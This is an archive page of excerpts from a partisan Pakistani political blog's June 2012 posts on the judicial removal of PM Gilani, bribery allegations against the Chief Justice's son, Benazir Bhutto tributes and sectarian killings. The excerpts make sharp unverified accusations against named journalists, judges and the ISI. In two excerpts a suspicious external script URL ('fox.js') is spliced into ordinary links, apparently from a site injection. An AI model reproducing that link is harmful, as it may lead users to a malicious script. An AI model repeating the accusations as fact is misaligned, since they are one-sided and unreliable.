Monthly Archive:: June 2012
Is Pakistan’s elected PM slightly less competent and way more corrupt than an average traffic cop?: Here is a quick comment on false neutrality which is a glaring feature of Mohammed Hanif’s recent article published in The Guardian. In his apparent criticism of an overstepping and politically biased Supreme Court, Mohammed Hanif tries to maintain false neutrality
Murder of Democracy in Pakistan – by Banda-e-Khuda: Why go through this gradual decay of democracy, why not make Ayman al-Zawahiri the Khalifa of Pakistan and be done with it. The Army is playing with the judiciary and democracy in Pakistan. It is a shameful day for
Continued pattern of misrepresentation by Jang to create more Shia genocide – by Banda-e-Khuda: Related posts: Daily Jang is helping ISI to manufacture Sunni-Shia sectarian violence in Quetta – by Ali Muntaziri Plot thickens: ISI strikes back by killing non-compliant Deobandis – by Sheherzade Adil Whilst every electronic and print media source has
Daily Jang is helping ISI to manufacture Sunni-Shia sectarian violence in Quetta – by Ali Muntaziri: Related posts: Plot thickens: ISI strikes back by killing non-compliant Deobandis – by Sheherzade Adil Jang wants to spark Sunni-Shia violence in Quetta to cover up Shia genocide by ISI-backed Jihadis Whilst every electronic and print media source has
Timeline: Judiciary vs executive: The conflict between Pakistan’s executive orders and judicial authorities dates back to the era of Liaquat Ali Khan when the country was in its teething years. Throughout the course of Pakistan’s history the judiciary has played an integral role
Islami adalat lekin tirchi nigahen – by Syed Al Hassan: Cover note by the author Since long time I was thinking to make a website in support of PPP because I was tired of watching TV programs against PPP. There was no platform to say my words independently. But
We will not let Shaheed Benazir Bhutto’s blood go in vain – by Saria Benazir: Tribute to the Daughter of Destiny, Shaheed Mohtarmah Benazir Bhutto. Lyrics by Nazir Qaiser Singer Sehyr S. Mirza http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=i27eWsXsVbI
Sindh ji Rahri Benazir ji salgarah ji mubarak hujai – by Saria Benazir: Benazir Bhutto – the tone, my heart had always hankered to heed to, a sensation that encompasses my endurance and has become the very rationale of my prolongation. Nevertheless, when I initiate to corral about that ceaseless essence, my
Nasim Zehra’s resignation: Rind ke rind rahey hath se jannat na gai – by Danial Lakhnavi: Related post: Nasim Zehra’s resignation, a proper class act نیوز چینلز پر ٹاک شوز کی میزبانی کے لئے ٹی وی کیمرے کے سامنے بیٹھنے والے فن کاروں کو کئی طرح کے فرائض انجام دینے ہوتے ہیں، جیسے اٹھارہ کروڑ
Dictator Zardari Gets Slapped by Supreme Guardians of Justice – by Riaz Malik Hajjaji: I am sure that Pak Fauj appreciates how Moeed Yusuf, Shuja Nawaz and their colleagues watch out for them in Imperialist Amrika – even more when some of them dilute their mild criticism of army generals by also pointing towards the civilian “kleptocrats”
A woman stronger than any man — by Maleeha Manzoor: Benazir Bhutto had done what male leaders could not do; she convinced a dictator to have talks, made him take off his military uniform and resign as the army chief Living in a conservative society, it is quite rare
Raza Rumi’s apologetic insights on PM Gilani’s disqualification: Disclaimer: We have been informed that the views expressed by Mr. Rumi in his articles are his own, and should not be seen or presented as those of Jinnah Institute. Despite our agreements with Mr. Rumi on certain issues,
Tribute to a disqualified Prime Minister – by Asadullah Ghalib: According to Aseefa Bhutto Zardari (daughter of Shaheed Benazir Bhutto and Asif Zardari): “PM Gillani I will stand by you the way you stood by Shaheed Mothrama Benazir Bhutto and President Zardari!” Source: Express, 21 June 2012
Ali Moeen Nawazish and Samad Khurram reject conspiracies against CJ Iftikhar Chaudhry: Related post: My hero is Samad Khurram ميں نہيں مانتا، ميں نہيں جانتا علي معين نوازش مجھے آج تک تين نومبر 2007 ء کا دن ياد ہے جيسے يہ کل کي بات ہو، ميں صمد خرم کے گھر پر
The grand exposè -by Adnan Rehmat: Leaving aside the merits or motives of Malik’s sensational charges, what is clear is that the hour requiring a judgment on the judiciary’s performance is, for better or for worse, upon us By Adnan Rehmat In hindsight it was
Covering the familygate -by Arif Jamal: The role of the Pakistani media is far from satisfactory in this case as in most cases By Arif Jamal The surfacing of what has been described as the familygate has put the Pakistani media in the dock. But
Pakistani Supreme Court has gone overboard – by Justice Markandey Katju (Supreme Court of India): Related posts: Constitutional misbehaviour of the Pakistan Supreme Court (Part II) -by Justice Markandey Katju Justice Louise Arbour concerned about direction of Pakistan’s Supreme Court Note: We applaud Justice Katju’s bold and principled stance on the Judicial Coup in
Pakistan’s CJ and 46583 slaps – by Raja M Asad Abbas: “Tareekh meain kisi judge ka nahi, awam ka faisla zinda rehta hae” (It is not the judges’ but the nation’s verdict which survives the course of history). These were the words spoken by President Asif Ali Zardari when he
Toxic influence of senior columnists on young writers in The Friday Times – by Irfan Qadri: The Friday Times, edited by Najam Sethi (the 80-20 mix fame) and Raza Rumi (who is also a Director of ISI-backed Jinnah Institute), continues to misrepresent State-sponsored Shia genocide as Sunni vs Shia sectarian violence. Latest issue of The
Benazir Bhutto’s words scared the boots more than the enemy’s tanks – by Saria Benazir: For the masses she was no less than a saint – she was the Bhutto’s daughter! Zulfikar Ali Bhutto – who was the founder of Pakistan. After five years of her assassination, I am constrained to whittle in blood
The Arsalan case is buried under mediagate and Gilani’s exitgate – by Sabir Nazar: In the tradition of revered Urdu, I will also start my column with a pious story of honourable Qaziul Qazat Maulvi Omar Mushtaq from golden Islamic period Zia ud din Ayubi. Zia ud din Ayubi and his companion Hamid
The day justice was dispensed! – by Bahadar Ali Khan: A malifide intended PM has been disqualified. Every one on the streets is reciting ‘Va ja ul-hukke va zahaq-al-batil, Innul batila kana zahuka’. Finally piety, chastity and good has prevailed. There is fresh breeze of purity that is causing
Sharam Wadi Shay Jenah Khay Daatar Diyaray – by Raza Baloch: There is a famous poetry and saying in Sindhi language “Sharam Wadi Shay Jenah Khay Daatar Diyaray” which is close to “shame is good thing but if someone, have it”. A tough contest was expected during by-polls held in
Pakistan’s Judicial Coup – WSJ Article: The Pakistani Supreme Court’s decision Tuesday to dismiss Prime Minister Yousuf Raza Gilani signals the unnatural death of another civilian government. While less dramatic than the military variety, this judicial coup—carried out on the pretext that Mr. Gilani refused
A sample of typical reactions to massacre of Shia Muslims in Pakistan – by Anas Abbas: Specimen news: 20 Shia Muslims gunned down in Quetta. Lashkar-e-Jhangvi (aka Ahle Sunnat Wal Jamaat, a sister organization of Al Qaeda) claims responsibility. Typical reactions: 1) Imran Khan: I condemn them but War on Terror is responsible. Zardari is
Pitafi steals the PPP’s thunder: Party loyalist hits out at discriminatory practices: LUBP applauds Express tribune for covering Sardar Ahmed Ali Khan Pitfai’s excellent speech in Sindh assembly . With Thanks : The Express Tribune KARACHI: The Sindh government’s tall claims of development and progress were shattered on Tuesday when a senior member and
Judicial coup in Pakistan deflects attention from CJ’s son’s graft case: The Supreme Court, in claiming to represent the will of the people, has removed from power the people’s representative, saying that Prime Minister Yusuf Raza Gilani stood disqualified from being a member of parliament and hence the office of the
Injustices Iftikhar et al, the Rottweilers of Aabpara, take a big bite off the PPP: By Ikhtiar Hussain Injustice Iftikhar might have been barking when he read the verdict against the Gillani who as prime minister represented 180 million people of Pakistan. His arrogance and sense of victory over Pakistan People’s Party (PPP) was
We condemn army sponsored judical coup in Pakistan: We condemn Pakistan army sponsored Judicial Coup in Pakistan, which is an indirect attack by Pakistan’s military estabilshment on nascent democracy in this country. A three-member bench, comprising Chief Justice Iftikhar Mohammad Chaudhry, Justice Jawwad S. Khawaja and Justice
Alleged bribe by Malik Riaz: In response to Marvi Sirmed’s plea of innocence: Related post: Lifestyle Liberals and Political Liberals: Is LUBP a hurdle in the way of unity of liberals? http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&shar.es/Cm14D Disclaimer: LUBP does not endorse the impression that any journalist took bribes from real estate tycoon Malik Riaz. Readers can
Arsalan-gate: Time to be patient! – by Saad Mansoor: The implication of Chief Justice Iftikhar Muhammad Chaudhry’s son is being considered by the political class of Pakistan in general and the supporters of Pakistan Peoples Party in particular to be a divine gift descended from heavens. In talk
Shia genocide: 5 students killed as bomb hits university bus in Quetta: Quetta: June 18 – State-sponsored Shia genocide entered new phase in Pakistan today when a bus of Shia students was targeted in Quetta. The students were proceeding to attend a holy gathering (Eid-e-Meraj) which is revered by both Sunni
RIP Fauzia Wahab: LUBP editors are extremely saddened to learn about the untimely death of Pakistan Peoples Party’s senior leader Fauzia Wahab. Through this post, we wish to convey our sincerest condolences to her family and millions of fans and supporters within
LUBP Special: Documentary evidence of payments made to Pakistan’s Chief Justice’s son Arsalan Iftikhar: LUBP is publishing exclusive documents which show that Dr. Arsalan, son of Pakistan’s Chief Justice Iftikhar Chaudhry, did indeed accept bribery from Malik Riaz of Bahria Town in monetary and non-monetary forms. We have received these documents from at
Nasim Zehra’s resignation, a proper class act: Related posts: LUBP archive on Nasim Zehra Context June 14, 2012: The upheaval at Dunya TV continued Thursday as Nasim Zehra, the channel’s Director Current Affairs resigned over a leaked video of behind the scene conversations of a special
The wrong kind of Muslim: an untold story of persecution -by Qasim Rashid: Out of the silent night, two men moved swiftly through the mosque’s front gate. Magazines loaded and safeties off, one stopped at the front door, the other proceeded through. All that separated a fully loaded Kalashnikov in the hands
PM disqualification case: The Supreme Court had another hearing on the long-drawn Prime Minister (PM) disqualification saga. After having being convicted of contempt of court, for not following up with Court’s order. PM Yousaf Raza Gilani was referred to the speaker of the